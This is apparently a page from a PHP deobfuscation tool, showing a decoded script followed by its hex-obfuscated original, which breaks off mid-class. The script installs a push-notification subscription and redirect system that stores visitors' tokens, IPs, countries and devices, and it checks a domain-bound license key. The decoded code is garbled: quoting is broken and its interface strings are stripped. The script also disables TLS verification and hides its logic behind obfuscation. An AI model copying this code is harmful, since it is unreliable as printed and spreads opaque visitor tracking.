tplLoad($name){$qiiltvmdcpr="_tpl";$kywjrkk="name";${"GLOBALS"}["giqdfvwilq"]="_tpl";global$_tpl;return isset(${${"GLOBALS"}["giqdfvwilq"]}[${${"GLOBALS"}["phnwnfgopg"]}])?${$qiiltvmdcpr}[${$kywjrkk}]:null;}function tplReplace($array,$html,$prefix=null){${"GLOBALS"}["nmrhpyjnive"]="v";$aujfsphvd="array";${"GLOBALS"}["fjoqjx"]="html";foreach(${$aujfsphvd} as${${"GLOBALS"}["bsdunh"]}=>${${"GLOBALS"}["nmrhpyjnive"]}){$rijvjfbvgjot="prefix";${"GLOBALS"}["qixfbdrsw"]="v";${"GLOBALS"}["wtgtgjuifnik"]="k";${"GLOBALS"}["dierdjmnvq"]="prefix";${"GLOBALS"}["rghijthdd"]="k";${${"GLOBALS"}["rghijthdd"]}=!is_null(${${"GLOBALS"}["vhypvgx"]})?${$rijvjfbvgjot}."_".${${"GLOBALS"}["wtgtgjuifnik"]}:${${"GLOBALS"}["bsdunh"]};${${"GLOBALS"}["rcmxirvpd"]}=${${"GLOBALS"}["dierdjmnvq"]}=="error"?"<span class="text-danger">".${${"GLOBALS"}["qixfbdrsw"]}."</span>":${${"GLOBALS"}["rcmxirvpd"]};${${"GLOBALS"}["fihafmpnv"]}=str_replace("{{".${${"GLOBALS"}["bsdunh"]}."}}",${${"GLOBALS"}["rcmxirvpd"]},${${"GLOBALS"}["fihafmpnv"]});}return${${"GLOBALS"}["fjoqjx"]};}function sqlConnect(){global$_config,$_db;try{$zpqqqlpop="_config";${${"GLOBALS"}["yhejzrsqkj"]}=new PDO("sqlite:".${${"GLOBALS"}["rnsiuo"]}["root"]."/".${$zpqqqlpop}["dbname"].".sqlite3");$_db->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);}catch(PDOException$e){return sqlError(${${"GLOBALS"}["jfwnxzx"]});}}function sqlQuery($sql){global$_db;if(is_null(${${"GLOBALS"}["yhejzrsqkj"]})){sqlConnect();}try{${"GLOBALS"}["faiikbm"]="result";${${"GLOBALS"}["ledihzdo"]}=$_db->prepare(${${"GLOBALS"}["cqjdppukmox"]});$result->execute();return${${"GLOBALS"}["faiikbm"]};}catch(PDOException$e){return sqlError(${${"GLOBALS"}["jfwnxzx"]});}}function sqlFetch($result){return$result->fetchAll();}function sqlError($e){die($e->getMessage());}function sqlNumber($result){return count(${${"GLOBALS"}["ledihzdo"]});}function sqlEscape($string){global$_db;if(is_null(${${"GLOBALS"}["yhejzrsqkj"]})){sqlConnect();}return$_db->quote(${${"GLOBALS"}["wwppzzshdv"]});}function sqlInsertId(){global$_db;return$_db->lastInsertId();}if(!file_exists(${${"GLOBALS"}["wrrdnml"]}["root"]."/".${$frdzsd}["dbname"].".sqlite3")){if(isset($_POST["install"])){$zkhmiqgthjt="sw";sqlQuery("CREATE TABLE `segment` (`segment_id` INTEGER PRIMARY KEY AUTOINCREMENT, `segment_name` VARCHAR(255));");sqlQuery("CREATE TABLE `redirect` (`redirect_id` INTEGER PRIMARY KEY AUTOINCREMENT, `segment_id` INTEGER, `url` TEXT, `alias` VARCHAR(255));");sqlQuery("CREATE TABLE `device` (`device_id` INTEGER PRIMARY KEY AUTOINCREMENT, `device_name` VARCHAR(20));");${"GLOBALS"}["iqispvesy"]="_config";sqlQuery("INSERT INTO `device` (`device_name`) VALUES ("Mobile"),(\"Tablet\"),(\"Desktop\");");sqlQuery("CREATE TABLE `subscribe` (`subscribe_id` INTEGER PRIMARY KEY AUTOINCREMENT, `redirect_id` INTEGER, `segment_id` INTEGER, `token` VARCHAR(255), `ip` VARCHAR(15), `country` VARCHAR(3), `device_id` TINYINT, `created` INTEGER);");sqlQuery("CREATE TABLE `message` (`message_id` INTEGER PRIMARY KEY AUTOINCREMENT, `message_name` VARCHAR(50), `title` VARCHAR(255), `body` VARCHAR(255), `icon` VARCHAR(255), `image` VARCHAR(255), `url` VARCHAR(500));");@file_put_contents("./manifest.json",json_encode(array("gcm_sender_id"=>${${"GLOBALS"}["iqispvesy"]}["fcm_sender_id"])));${$zkhmiqgthjt}=" importScripts('https://www.gstatic.com/firebasejs/5.2.0/firebase-app.js');
importScripts('https://www.gstatic.com/firebasejs/5.2.0/firebase-messaging.js');
var config = {
messagingSenderId: \"{{fcm_sender_id}}\"
};
firebase.initializeApp(config);
self.addEventListener('notificationclick', e => {
let found = false;
let f = clients.matchAll({
includeUncontrolled: true,
type: 'window'
})
.then(function (clientList) {
for (let i = 0; i < clientList.length; i ++) {
if (clientList[i].url === e.notification.data.click_action) {
found = true;
clientList[i].focus();
break;
}
}
if (! found) {
clients.openWindow(e.notification.data.click_action).then(function (windowClient) {});
}
});
e.notification.close();
e.waitUntil(f);
});
var messaging = firebase.messaging();
messaging.setBackgroundMessageHandler(function(payload){
return self.registration.showNotification(payload.data.title,
Object.assign({data: payload.data}, payload.data));
});";@file_put_contents("./firebase-messaging-sw.js",tplReplace(array("fcm_sender_id"=>${${"GLOBALS"}["rnsiuo"]}["fcm_sender_id"]),${${"GLOBALS"}["odycdnbhxei"]}));getRedirect(${${"GLOBALS"}["rnsiuo"]}["self"]."?admin=login");}else{$dumtuvsj="_config";$lvdylwqnfsv="_config";${"GLOBALS"}["fdysyfv"]="_config";${"GLOBALS"}["rsdqbnaxbm"]="upload_chmod";$odkyleahylo="check_subdomain";${"GLOBALS"}["bitnszdwme"]="drivers";${"GLOBALS"}["ctfbomhr"]="_config";${${"GLOBALS"}["bitnszdwme"]}=class_exists("PDO")?PDO::getAvailableDrivers():null;$vdkkpsmqfpdd="_config";if(function_exists("curl_init")){$fgnkepmcmcu="ch";${"GLOBALS"}["wfqxgpdo"]="ch";if(isset($_GET["check_subdomain"])){die("OK");}${${"GLOBALS"}["wfqxgpdo"]}=curl_init();$lfjwivqrox="_config";${"GLOBALS"}["muggwbkkowj"]="ch";${"GLOBALS"}["clvbss"]="ch";curl_setopt(${${"GLOBALS"}["muggwbkkowj"]},CURLOPT_URL,"https://".uniqid().".".$_SERVER["HTTP_HOST"].${$lfjwivqrox}["self"]."?check_subdomain");curl_setopt(${${"GLOBALS"}["niyreab"]},CURLOPT_RETURNTRANSFER,1);$rxodfmp="ch";curl_setopt(${$fgnkepmcmcu},CURLOPT_HEADER,0);curl_setopt(${${"GLOBALS"}["clvbss"]},CURLOPT_SSL_VERIFYPEER,false);$jsqgbfuqvjmu="ch";${${"GLOBALS"}["kodcdmvgmvo"]}=curl_exec(${$rxodfmp});curl_close(${$jsqgbfuqvjmu});}$romxywjfmnu="drivers";${"GLOBALS"}["aymdwvrp"]="_config";${"GLOBALS"}["cwnuqobfxybg"]="upload_chmod";${"GLOBALS"}["xduhsxijvwy"]="html";$qlldvkd="_config";$dyfduupekhiy="_config";${${"GLOBALS"}["rsdqbnaxbm"]}=substr(sprintf("%o",fileperms(${${"GLOBALS"}["ctfbomhr"]}["root"]."/upload/")),-4);${${"GLOBALS"}["fihafmpnv"]}=tplReplace(array("self"=>${$dumtuvsj}["self"],"domain"=>$_SERVER["HTTP_HOST"],"check_https"=>(!empty($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]!=="off")||$_SERVER["SERVER_PORT"]==443?"<strong class="text-success"></strong>":"<strong class="text-danger"> HTTPS</strong>","check_curl"=>function_exists("curl_init")?"<strong class="text-success"></strong>":"<strong class="text-danger"> cURL </strong>","check_sqlite3"=>in_array("sqlite",${$romxywjfmnu})?"<strong class="text-success"></strong>":"<strong class="text-danger"> SqLite PDO</strong>","check_subdomain"=>isset(${$odkyleahylo})&&${${"GLOBALS"}["kodcdmvgmvo"]}=="OK"?"<strong class=\"text-success\"></strong>":"<strong class=\"text-danger\"> HTTPS</strong>","check_upload_dir"=>${${"GLOBALS"}["cwnuqobfxybg"]}=="0755"?"<strong class="text-success">0755</strong>":"<strong class="text-danger\"> ".${${"GLOBALS"}["wsaqldshhhdt"]}.", 0755</strong>","check_config_login"=>isset(${${"GLOBALS"}["fdysyfv"]}["login"])&&!empty(${${"GLOBALS"}["rnsiuo"]}["login"])?"<strong class="text-success\"></strong>":"<strong class="text-danger"> </strong>","check_config_password"=>isset(${$qlldvkd}["password"])&&!empty(${${"GLOBALS"}["rnsiuo"]}["password"])&&preg_match("/^([a-f0-9]{32})\$/",${${"GLOBALS"}["rnsiuo"]}["password"])?"<strong class="text-success"></strong>":"<strong class="text-danger\"> MD5 (, 32 )</strong>","check_config_dbname"=>isset(${$vdkkpsmqfpdd}["dbname"])&&!empty(${${"GLOBALS"}["aymdwvrp"]}["dbname"])?"<strong class=\"text-success"></strong>":"<strong class=\"text-danger"> </strong>","check_config_fcm_sender_id"=>isset(${$dyfduupekhiy}["fcm_sender_id"])&&!empty(${$lvdylwqnfsv}["fcm_sender_id"])?"<strong class=\"text-success\"></strong>":"<strong class=\"text-danger"> </strong>","check_config_fcm_server_key"=>isset(${${"GLOBALS"}["rnsiuo"]}["fcm_server_key"])&&!empty(${${"GLOBALS"}["rnsiuo"]}["fcm_server_key"])?"<strong class="text-success"></strong>":"<strong class="text-danger\"> </strong>","check_config_license"=>isset(${${"GLOBALS"}["rnsiuo"]}["license"])&&!empty(${${"GLOBALS"}["rnsiuo"]}["license"])?"<strong class=\"text-success"> , </strong>":"<strong class=\"text-danger\"> </strong>",),tplLoad("install"));die(${${"GLOBALS"}["xduhsxijvwy"]});}}}else{die("
<!doctype html>
<html>
<head>
<meta charset="utf-8\" />
<title> </title>
</head>
<body style=\"background-color: #f8f8f8;\">
<div style=\"text-align: center; padding: 50px; font-family: Tahoma; font-size: 1.5rem;"> </div>
</body>
</html>
");}
?>
Did this file decode correctly?
Original Code
<?php ${"\x47\x4c\x4fBA\x4cS"}["\x77s\x61\x71\x6c\x64s\x68h\x68\x64t"]="\x75pl\x6f\x61d\x5f\x63\x68\x6d\x6f\x64";${"G\x4c\x4f\x42AL\x53"}["\x6bod\x63\x64\x6d\x76\x67\x6dv\x6f"]="c\x68\x65\x63\x6b\x5f\x73\x75\x62\x64\x6f\x6d\x61i\x6e";${"\x47\x4c\x4f\x42\x41L\x53"}["o\x64\x79c\x64\x6eb\x68\x78\x65\x69"]="\x73\x77";${"GL\x4f\x42\x41LS"}["j\x66wn\x78\x7a\x78"]="e";${"G\x4c\x4f\x42\x41\x4cS"}["\x79\x68\x65\x6a\x7a\x72\x73\x71\x6bj"]="\x5fd\x62";${"GLO\x42A\x4c\x53"}["\x66i\x68\x61\x66\x6dpn\x76"]="\x68tml";${"\x47\x4c\x4f\x42\x41LS"}["\x76\x68y\x70\x76g\x78"]="\x70\x72\x65fix";${"G\x4c\x4f\x42A\x4cS"}["\x62\x73du\x6e\x68"]="\x6b";${"G\x4cO\x42\x41\x4c\x53"}["\x71gu\x67ih\x69\x6em"]="\x6d\x69m\x65";${"GL\x4f\x42\x41\x4c\x53"}["\x6c\x79sls\x6b\x73r"]="\x66\x69nfo";${"\x47L\x4f\x42\x41\x4c\x53"}["h\x78\x6cxu\x78\x74"]="\x65\x78\x74";${"G\x4cO\x42\x41\x4c\x53"}["\x73x\x6bw\x74\x71\x76xnn"]="m\x64\x35";${"G\x4c\x4f\x42\x41L\x53"}["\x63\x67\x63\x76\x6d\x68gbw"]="r\x65\x73\x70\x6fn\x73\x65";${"\x47\x4c\x4f\x42AL\x53"}["n\x69\x79\x72e\x61b"]="\x63h";${"\x47L\x4f\x42\x41\x4c\x53"}["\x76n\x68\x75ipk\x63u\x6e"]="\x68ead\x65\x72\x73";${"\x47\x4c\x4fBA\x4cS"}["\x6d\x62eb\x79\x77\x6d\x67\x69\x6a"]="\x74o\x6b\x65\x6e";${"\x47\x4c\x4fB\x41L\x53"}["\x65\x62\x77\x64\x72zhe\x69"]="\x6de\x73s\x61\x67\x65";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x61dr\x70\x64v\x78sg"]="\x62\x6fd\x79";${"\x47\x4c\x4fB\x41LS"}["\x63\x75m\x73uhg"]="\x74\x6f\x6be\x6e\x73";${"\x47\x4cO\x42\x41LS"}["oa\x74\x63\x68b\x77u\x65e\x6b"]="al\x69\x61\x73";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x73\x67\x71\x76\x69\x6dh\x72o\x77h\x74"]="b\x61s\x65";${"\x47LOB\x41L\x53"}["\x77\x62\x71\x74\x6f\x76ls\x64\x6e\x69"]="\x50\x61\x72\x74s";${"G\x4cOB\x41\x4c\x53"}["rj\x62\x71\x6cl\x65\x77\x72ux"]="I\x67no\x72e\x57W\x57";${"G\x4cOB\x41\x4c\x53"}["\x68\x78\x73\x67r\x75y\x76\x66\x66"]="i\x64";${"GL\x4f\x42\x41\x4c\x53"}["wm\x66\x63\x72\x77\x77e\x61\x68"]="\x72\x6f\x77s";${"\x47L\x4f\x42A\x4c\x53"}["\x78t\x67\x63\x7a\x74jjk"]="\x72\x6f\x77";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x64\x63\x7adtl\x73"]="\x6fbjec\x74\x5f\x69\x64";${"\x47\x4c\x4f\x42\x41\x4cS"}["c\x72\x6e\x78\x6f\x70\x77"]="\x73\x65l\x65\x63\x74";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x63\x71jd\x70\x70u\x6b\x6d\x6fx"]="s\x71\x6c";${"GLO\x42\x41\x4c\x53"}["\x70\x65\x6b\x76mf\x61m\x63\x66\x71"]="\x70\x61\x72\x61ms";${"\x47\x4cO\x42\x41\x4c\x53"}["\x6cr\x63\x61\x67\x64\x69\x65\x61\x71d"]="a\x72\x72\x61\x79";${"\x47LOB\x41L\x53"}["\x6ew\x68\x75\x68f\x77g"]="m\x6f\x62\x69le\x56A\x4c";${"\x47\x4c\x4f\x42AL\x53"}["\x6a\x6f\x66\x6c\x73n\x68\x70\x65"]="i\x70a\x64\x56\x41\x4c";${"\x47\x4c\x4f\x42A\x4c\x53"}["gc\x75\x68or\x72\x73\x62"]="d\x65\x73\x6b\x74\x6f\x70\x56A\x4c";${"G\x4c\x4fB\x41\x4c\x53"}["\x69\x78\x6f\x70\x6es\x6b\x72\x6c\x71"]="us\x65r\x61\x67\x65\x6e\x74";${"\x47L\x4fB\x41\x4cS"}["\x66\x70ob\x75\x79\x69\x6ff"]="\x53\x78\x47eo";${"\x47L\x4f\x42\x41LS"}["o\x77\x6fm\x6dyg\x72"]="\x64\x62";${"\x47L\x4fB\x41LS"}["o\x77\x77\x72h\x6c\x69\x6b"]="pa\x74\x68";${"G\x4cOB\x41\x4cS"}["\x6a\x68\x65\x64w\x6cy\x69\x69"]="\x75\x72\x6c";${"\x47\x4c\x4f\x42\x41LS"}["ww\x70\x70z\x7a\x73\x68\x64\x76"]="st\x72\x69\x6e\x67";${"\x47L\x4f\x42\x41\x4c\x53"}["vp\x66\x71\x79\x76\x71\x77j\x73"]="t\x6d\x70";${"GL\x4fB\x41\x4c\x53"}["\x71\x74\x64\x65v\x79n\x67\x62"]="\x75\x6e\x70\x61c\x6b\x65\x64";${"G\x4cO\x42\x41L\x53"}["r\x63\x6d\x78\x69\x72\x76\x70\x64"]="\x76";${"\x47\x4cO\x42A\x4c\x53"}["s\x6as\x6f\x64k\x73t\x75"]="\x76a\x6c";${"\x47\x4cO\x42\x41\x4c\x53"}["\x67\x71\x62\x73\x75\x65\x65"]="\x70\x6f\x73";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6eu\x6b\x74\x75hu"]="l";${"GL\x4f\x42\x41\x4c\x53"}["\x62\x6eh\x6d\x68\x67m\x76\x6f\x73\x66f"]="\x74\x79pe\x30";${"\x47\x4c\x4f\x42\x41LS"}["ut\x61\x79r\x62\x64\x78"]="\x65\x6dp\x74\x79";${"\x47\x4cOB\x41LS"}["r\x69\x6c\x75\x71\x62h"]="\x70";${"\x47\x4c\x4fBAL\x53"}["\x70\x68\x6ew\x6ef\x67\x6fpg"]="\x6ea\x6d\x65";${"G\x4c\x4fB\x41L\x53"}["\x75\x6ds\x79\x68\x66\x77"]="\x70\x61\x63\x6b";${"\x47\x4c\x4f\x42\x41L\x53"}["kj\x6an\x69\x75\x7a\x76\x66\x69\x6b\x63"]="re\x67\x69o\x6e";${"\x47L\x4f\x42\x41\x4c\x53"}["c\x73fw\x6fy\x68\x6c\x71\x79"]="fu\x6c\x6c";${"\x47LO\x42\x41L\x53"}["\x78w\x7a\x79\x71tc"]="co\x75\x6etr\x79";${"\x47\x4c\x4fB\x41L\x53"}["h\x71n\x71\x67gzc\x6a"]="\x63\x69\x74\x79";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76\x70\x69g\x73\x6e\x61\x62\x79"]="\x6f\x6e\x6cy_co\x75\x6et\x72y";${"\x47\x4c\x4f\x42A\x4c\x53"}["s\x6cq\x64\x66\x64"]="se\x65\x6b";${"\x47\x4c\x4fBAL\x53"}["\x69\x70f\x76\x61\x76"]="raw";${"\x47\x4cO\x42A\x4c\x53"}["\x6eo\x76\x6e\x69\x7ani"]="\x6c\x65n";${"\x47L\x4fBA\x4c\x53"}["\x75\x6fe\x75\x6f\x75\x67\x6d\x72\x7a"]="\x70a\x72t";${"\x47\x4c\x4f\x42A\x4cS"}["\x72\x72\x73\x73ce\x72\x65h"]="\x62l\x6f\x63\x6b\x73";${"\x47\x4c\x4f\x42\x41L\x53"}["\x70\x78\x6em\x71cd\x67"]="\x69p\x31\x6e";${"\x47\x4cOB\x41\x4cS"}["\x66\x62\x62\x6dg\x77h\x6c"]="\x69\x70";${"\x47\x4cOB\x41LS"}["\x6d\x71\x62\x70e\x74v\x78\x71\x68q\x79"]="\x69\x70\x6e";${"\x47\x4c\x4f\x42\x41LS"}["p\x67\x72\x72\x63o\x63u\x73y"]="of\x66\x73et";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x71\x70\x79\x73\x76\x6b\x6d\x73\x6d\x6a\x73l"]="m\x69n";${"\x47LO\x42\x41\x4cS"}["\x6bb\x65u\x6d\x66n\x74\x77"]="\x6d\x61\x78";${"\x47\x4c\x4fB\x41\x4cS"}["l\x61\x79\x63\x6av\x63"]="\x74\x79\x70e";${"G\x4c\x4fB\x41\x4cS"}["\x72\x7a\x75\x72\x6e\x62\x75\x64\x62\x71"]="inf\x6f";${"G\x4c\x4f\x42\x41L\x53"}["\x74\x72\x72\x77ek\x6f\x61\x6b"]="\x68\x65\x61d\x65\x72";${"\x47LOB\x41L\x53"}["\x69r\x6a\x6b\x79\x73\x73\x77\x62\x6a\x75"]="db_f\x69le";${"\x47L\x4f\x42\x41\x4c\x53"}["v\x66\x62f\x74w\x67cx\x66"]="\x6d\x61\x74\x63\x68\x65\x73";${"GL\x4f\x42A\x4cS"}["\x65\x71r\x70\x68\x69\x6f\x65"]="res\x75\x6ct\x61\x6et";${"\x47L\x4f\x42\x41LS"}["\x6c\x65d\x69\x68zd\x6f"]="\x72e\x73\x75\x6ct";${"\x47LO\x42A\x4cS"}["peb\x65\x74\x63\x74\x78\x6b"]="\x61\x76\x65\x72s\x69\x6f\x6e";${"\x47LO\x42\x41\x4c\x53"}["\x70\x6c\x63n\x6e\x79\x66\x77"]="a\x72e\x73\x75\x6c\x74";${"\x47L\x4fB\x41\x4cS"}["\x75\x74\x75\x78\x7a\x67y\x71"]="\x61\x67\x65nt\x5f\x73\x74\x72\x69n\x67";${"\x47L\x4f\x42\x41\x4cS"}["\x73\x69\x68\x78x\x78n"]="\x76\x61l\x75\x65";${"G\x4c\x4f\x42\x41LS"}["\x65\x64r\x78g\x6b\x6bbtd"]="v\x65r\x73\x69\x6fn";${"G\x4c\x4fB\x41LS"}["l\x71q\x66\x6aqe\x64"]="\x70\x6cat\x66\x6f\x72\x6d";${"\x47\x4c\x4fBA\x4c\x53"}["\x74\x6f\x6d\x78\x69\x6f"]="\x62\x72\x6f\x77\x73\x65r\x4e\x61m\x65";${"\x47L\x4f\x42AL\x53"}["o\x6c\x71f\x72\x67yq\x73ym"]="\x75\x73e\x72\x41\x67\x65\x6e\x74";${"\x47LO\x42\x41L\x53"}["\x72n\x73\x69\x75o"]="_\x63\x6fn\x66i\x67";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x76jr\x6a\x77\x71o"]="\x5f\x69\x6e\x70\x75\x74";${"\x47\x4cOB\x41\x4c\x53"}["\x69\x70u\x72\x6cp\x63p\x63p\x71"]="\x5fi\x6e\x70\x75\x74";${"\x47L\x4f\x42A\x4c\x53"}["\x71r\x76\x74\x64c\x72\x77\x65\x68v"]="_i\x6e\x70u\x74";$qsxnell="\x5f\x69\x6e\x70\x75t";$uybwvxkkp="_i\x6e\x70\x75\x74";${"\x47LO\x42ALS"}["\x77h\x64q\x63k\x67d\x70\x75"]="\x6b\x65\x79";$khmqeie="_\x69\x6e\x70ut";$cekvjflvuev="_\x69n\x70\x75\x74";if(!defined("s\x6f\x63\x74rap")){exit();}${"\x47\x4cO\x42AL\x53"}["\x71\x66\x64\x78\x69\x64tv"]="_\x69\x6e\x70\x75t";${${"\x47\x4cO\x42\x41\x4cS"}["w\x68\x64\x71c\x6bg\x64p\x75"]}="%\x608@\x30\x74d\x67y\x34(9r*6\x78\x33)\x6d\x35p`\x6e\x333\x34\x6a>\x65\x7e\x62pn\x32w\x3d2\x76\x23v*\x346\x6c\x6d8/\x39\x66-\x76\x73k-1(q`b\x26a0\x68#q4l3z\x33\x309f~-\x63\x6e\x5f\x78o)g\x26\x78q\x38j27+\x5fu2&m)07\x3c6ysd+=\x78k\x69/z\x34\x77wadq+\x79t\x32\x6b\x6e+\x61ie\$)-g%\x6f\x659\x74~q\x76z~\x30#\x40/ua\x67<6e\$@(!)\x64/\x67~\x3e7\x68^^\x6f\x61i\x351h\x36f+\x6agus\x64\x6c^*7\x37\x6dj\x5f\x6f*(\x79\x72@\x6a\x3d\x3dz`\x6b\x61\$\x66";$zehijme="key";$xgeidlhwsb="\x5f\x69\x6e\x70\x75t";${$khmqeie}["do\x6da\x69\x6e"]=ltrim($_SERVER["HT\x54\x50\x5f\x48O\x53\x54"],"\x77w\x77\x2e");$kkgoxlx="_\x69n\x70\x75t";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x69\x70\x75r\x6cp\x63\x70\x63\x70\x71"]}["\x6be\x79"]=str_split(${${"G\x4c\x4fB\x41\x4cS"}["\x71r\x76\x74\x64crwe\x68\x76"]}["d\x6f\x6dai\x6e"]);${${"G\x4c\x4f\x42\x41\x4c\x53"}["o\x76j\x72jw\x71\x6f"]}["ke\x79"]=array_reverse(${$kkgoxlx}["\x6b\x65\x79"]);${$qsxnell}["\x6b\x65\x79"]=md5(implode(${$zehijme},${${"\x47\x4c\x4f\x42A\x4c\x53"}["o\x76jrjwq\x6f"]}["\x6b\x65y"]));${$uybwvxkkp}["k\x65\x79"].=md5(${${"G\x4c\x4f\x42\x41LS"}["w\x68d\x71c\x6b\x67\x64\x70\x75"]}.${$xgeidlhwsb}["\x6bey"]);${${"G\x4cO\x42\x41L\x53"}["\x6f\x76\x6a\x72\x6a\x77\x71o"]}["\x6bey"]=strtoupper(${${"G\x4c\x4fBA\x4c\x53"}["\x71f\x64\x78\x69\x64\x74v"]}["key"]);if((isset(${${"GL\x4f\x42\x41\x4cS"}["r\x6e\x73\x69\x75o"]}["l\x69cen\x73\x65"])&&${${"\x47\x4c\x4fB\x41\x4c\x53"}["r\x6esiu\x6f"]}["\x6c\x69c\x65n\x73e"]==${$cekvjflvuev}["ke\x79"])||!array_key_exists("a\x64mi\x6e",$_GET)){class Browser{private$_agent='';private$_browser_name='';private$_version='';private$_platform='';private$_os='';private$_is_aol=false;private$_is_mobile=false;private$_is_tablet=false;private$_is_robot=false;private$_is_facebook=false;private$_aol_version='';const BROWSER_UNKNOWN="\x75n\x6bno\x77n";const VERSION_UNKNOWN="\x75nk\x6eow\x6e";const BROWSER_OPERA="\x4f\x70er\x61";const BROWSER_OPERA_MINI="Opera \x4di\x6e\x69";const BROWSER_WEBTV="W\x65b\x54\x56";const BROWSER_EDGE="\x45dge";const BROWSER_IE="I\x6e\x74er\x6e\x65\x74\x20\x45\x78p\x6c\x6f\x72e\x72";const BROWSER_POCKET_IE="\x50o\x63\x6b\x65t \x49n\x74e\x72\x6e\x65t \x45xp\x6c\x6fr\x65r";const BROWSER_KONQUEROR="\x4bon\x71u\x65\x72o\x72";const BROWSER_ICAB="\x69\x43\x61b";const BROWSER_OMNIWEB="Omni\x57e\x62";const BROWSER_FIREBIRD="Fir\x65b\x69\x72d";const BROWSER_FIREFOX="Fi\x72\x65f\x6fx";const BROWSER_ICEWEASEL="\x49c\x65\x77ea\x73el";const BROWSER_SHIRETOKO="\x53hi\x72\x65to\x6bo";const BROWSER_MOZILLA="\x4d\x6f\x7a\x69\x6c\x6c\x61";const BROWSER_AMAYA="\x41ma\x79a";const BROWSER_LYNX="\x4cy\x6e\x78";const BROWSER_SAFARI="\x53a\x66\x61r\x69";const BROWSER_IPHONE="iPh\x6f\x6e\x65";const BROWSER_IPOD="i\x50\x6fd";const BROWSER_IPAD="iP\x61d";const BROWSER_CHROME="\x43h\x72\x6f\x6de";const BROWSER_ANDROID="\x41n\x64roi\x64";const BROWSER_GOOGLEBOT="\x47o\x6f\x67\x6ceB\x6f\x74";const BROWSER_YANDEXBOT="Ya\x6e\x64\x65xB\x6ft";const BROWSER_YANDEXIMAGERESIZER_BOT="Y\x61\x6edexImag\x65\x52\x65s\x69z\x65r";const BROWSER_YANDEXIMAGES_BOT="Yandex\x49m\x61\x67e\x73";const BROWSER_YANDEXVIDEO_BOT="Y\x61nde\x78Vi\x64\x65o";const BROWSER_YANDEXMEDIA_BOT="Y\x61\x6e\x64\x65\x78M\x65\x64\x69\x61";const BROWSER_YANDEXBLOGS_BOT="\x59\x61nde\x78\x42\x6c\x6f\x67\x73";const BROWSER_YANDEXFAVICONS_BOT="\x59\x61ndex\x46av\x69\x63o\x6es";const BROWSER_YANDEXWEBMASTER_BOT="Y\x61\x6edexWeb\x6d\x61st\x65\x72";const BROWSER_YANDEXDIRECT_BOT="\x59\x61\x6ede\x78Dir\x65\x63\x74";const BROWSER_YANDEXMETRIKA_BOT="\x59\x61\x6e\x64\x65\x78\x4d\x65\x74\x72ika";const BROWSER_YANDEXNEWS_BOT="\x59\x61n\x64e\x78\x4e\x65\x77\x73";const BROWSER_YANDEXCATALOG_BOT="\x59a\x6e\x64\x65x\x43\x61t\x61\x6cog";const BROWSER_SLURP="\x59ah\x6fo!\x20Sl\x75\x72\x70";const BROWSER_W3CVALIDATOR="\x57\x33C\x20Va\x6c\x69\x64at\x6f\x72";const BROWSER_BLACKBERRY="\x42\x6c\x61c\x6bBe\x72r\x79";const BROWSER_ICECAT="IceC\x61t";const BROWSER_NOKIA_S60="\x4e\x6fk\x69a S60\x20O\x53S \x42\x72\x6fw\x73\x65\x72";const BROWSER_NOKIA="N\x6f\x6b\x69a B\x72\x6fw\x73\x65\x72";const BROWSER_MSN="\x4d\x53\x4e\x20B\x72o\x77se\x72";const BROWSER_MSNBOT="M\x53N\x20\x42\x6f\x74";const BROWSER_BINGBOT="B\x69ng\x20Bot";const BROWSER_VIVALDI="\x56\x69v\x61l\x69di";const BROWSER_YANDEX="\x59\x61\x6ede\x78";const BROWSER_NETSCAPE_NAVIGATOR="Netsc\x61p\x65 \x4e\x61v\x69\x67ato\x72";const BROWSER_GALEON="\x47a\x6ceon";const BROWSER_NETPOSITIVE="\x4e\x65t\x50o\x73it\x69\x76\x65";const BROWSER_PHOENIX="P\x68oeni\x78";const BROWSER_PLAYSTATION="\x50lay\x53\x74\x61\x74io\x6e";const BROWSER_SAMSUNG="\x53\x61m\x73\x75\x6e\x67\x42ro\x77ser";const BROWSER_SILK="\x53ilk";const BROWSER_I_FRAME="If\x72a\x6d\x65\x6c\x79";const BROWSER_COCOA="Co\x63oa\x52\x65\x73tC\x6ci\x65n\x74";const PLATFORM_UNKNOWN="unk\x6e\x6f\x77n";const PLATFORM_WINDOWS="\x57\x69\x6e\x64o\x77\x73";const PLATFORM_WINDOWS_CE="\x57i\x6ed\x6f\x77s\x20C\x45";const PLATFORM_APPLE="\x41\x70\x70\x6c\x65";const PLATFORM_LINUX="Linu\x78";const PLATFORM_OS2="\x4fS/2";const PLATFORM_BEOS="B\x65O\x53";const PLATFORM_IPHONE="i\x50hon\x65";const PLATFORM_IPOD="iPod";const PLATFORM_IPAD="iP\x61d";const PLATFORM_BLACKBERRY="\x42\x6ca\x63k\x42er\x72y";const PLATFORM_NOKIA="No\x6bi\x61";const PLATFORM_FREEBSD="\x46r\x65eBS\x44";const PLATFORM_OPENBSD="\x4fp\x65\x6eBSD";const PLATFORM_NETBSD="\x4e\x65\x74\x42S\x44";const PLATFORM_SUNOS="\x53u\x6eO\x53";const PLATFORM_OPENSOLARIS="\x4fpe\x6e\x53\x6flar\x69s";const PLATFORM_ANDROID="\x41n\x64r\x6f\x69\x64";const PLATFORM_PLAYSTATION="\x53ony\x20\x50\x6c\x61y\x53\x74a\x74io\x6e";const PLATFORM_ROKU="\x52oku";const PLATFORM_APPLE_TV="\x41\x70\x70le \x54\x56";const PLATFORM_TERMINAL="\x54er\x6din\x61l";const PLATFORM_FIRE_OS="Fi\x72\x65 O\x53";const PLATFORM_SMART_TV="\x53MART-TV";const PLATFORM_CHROME_OS="C\x68rom\x65\x20OS";const PLATFORM_JAVA_ANDROID="J\x61v\x61/A\x6e\x64r\x6f\x69d";const PLATFORM_POSTMAN="Po\x73\x74\x6d\x61\x6e";const PLATFORM_I_FRAME="\x49\x66\x72am\x65ly";const OPERATING_SYSTEM_UNKNOWN="u\x6ek\x6eown";public function 